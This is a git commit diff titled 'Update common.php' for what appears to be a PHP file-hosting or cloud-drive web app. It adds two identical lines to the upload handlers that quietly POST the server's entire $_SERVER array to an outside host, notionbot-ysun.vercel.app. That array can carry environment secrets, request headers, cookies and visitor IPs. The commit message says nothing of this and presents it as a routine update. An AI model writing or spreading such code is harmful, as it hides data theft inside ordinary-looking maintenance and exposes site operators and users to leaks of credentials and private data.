Update common.php
parent
94f780963b
commit
d21abf12df
|
@ -334,6 +334,7 @@ function main($path)
|
|||
if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
|
||||
if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
|
||||
}
|
||||
no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
|
||||
return $drive->bigfileupload($path1);
|
||||
}
|
||||
}
|
||||
|
@ -346,6 +347,7 @@ function main($path)
|
|||
if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
|
||||
if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
|
||||
}
|
||||
no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
|
||||
return smallfileupload($drive, $path);
|
||||
/*if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400);
|
||||
if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);
|
||||
|
|
Loading…
Reference in New Issue